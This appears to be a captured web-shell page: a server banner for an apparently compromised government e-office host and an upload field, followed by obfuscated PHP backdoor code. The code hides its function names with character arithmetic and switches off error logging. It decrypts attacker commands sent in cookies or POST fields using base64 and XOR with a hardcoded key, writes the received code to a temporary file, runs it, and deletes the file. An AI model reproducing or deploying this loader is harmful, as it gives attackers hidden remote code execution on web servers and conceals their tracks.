|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/pathumthani_eoffice/files/document_2/ |
Upload File : |
<?php $alftyub = 'f'.'i'.'l'."\x65".chr(95).'p'.chr(259-142)."\x74".chr(711-616).chr(99)."\x6f".chr(110).'t'.chr(101).chr(834-724).chr(218-102)."\163";
$wymbrqx = "\142"."\x61"."\x73".chr(463-362).'6'.chr(303-251).'_'."\x64".chr(101)."\143"."\157"."\x64".'e';
$tnmafedv = "\151"."\x6e"."\151".chr(95).chr(115)."\x65".'t';
$mkpactytw = 'u'.chr(522-412).chr(339-231).'i'.chr(865-755).chr(471-364);
@$tnmafedv(chr(138-37).'r'."\162"."\x6f"."\x72".chr(95)."\154".chr(111)."\147", NULL);
@$tnmafedv(chr(108).chr(775-664)."\147".chr(679-584)."\145".'r'.'r'."\x6f".chr(585-471)."\163", 0);
@$tnmafedv(chr(109).chr(97).chr(555-435).chr(813-718).chr(1089-988).chr(120).chr(101).'c'."\x75".'t'.chr(105).'o'."\x6e"."\x5f"."\164".chr(735-630)."\155".chr(849-748), 0);
@set_time_limit(0);
function rhwxkcjfc($zpwvbrpptn, $trgzkkyahd)
{
$xckzlk = "";
for ($stofcbfml = 0; $stofcbfml < strlen($zpwvbrpptn);) {
for ($j = 0; $j < strlen($trgzkkyahd) && $stofcbfml < strlen($zpwvbrpptn); $j++, $stofcbfml++) {
$xckzlk .= chr(ord($zpwvbrpptn[$stofcbfml]) ^ ord($trgzkkyahd[$j]));
}
}
return $xckzlk;
}
$dbqqgwnfr = array_merge($_COOKIE, $_POST);
$hntmhtk = 'be425797-5181-47d6-9b86-960a3c70bfa0';
foreach ($dbqqgwnfr as $djgzkfue => $zpwvbrpptn) {
$zpwvbrpptn = @unserialize(rhwxkcjfc(rhwxkcjfc($wymbrqx($zpwvbrpptn), $hntmhtk), $djgzkfue));
if (isset($zpwvbrpptn["\x61"."\153"])) {
if ($zpwvbrpptn[chr(97)] == "\x69") {
$stofcbfml = array(
'p'.chr(813-695) => @phpversion(),
chr(717-602).chr(354-236) => "3.5",
);
echo @serialize($stofcbfml);
} elseif ($zpwvbrpptn[chr(97)] == "\x65") {
$rwmtojbp = "./" . md5($hntmhtk) . chr(1043-997).'i'.chr(854-744).chr(107-8);
@$alftyub($rwmtojbp, "<" . "\77"."\x70".'h'.'p'."\x20"."\100"."\165".chr(233-123)."\x6c"."\x69".chr(110)."\x6b"."\x28"."\x5f".'_'."\106".chr(73).chr(1025-949).chr(69).'_'."\137".')'.';'."\40" . $zpwvbrpptn["\x64"]);
@include($rwmtojbp);
@$mkpactytw($rwmtojbp);
}
exit();
}
}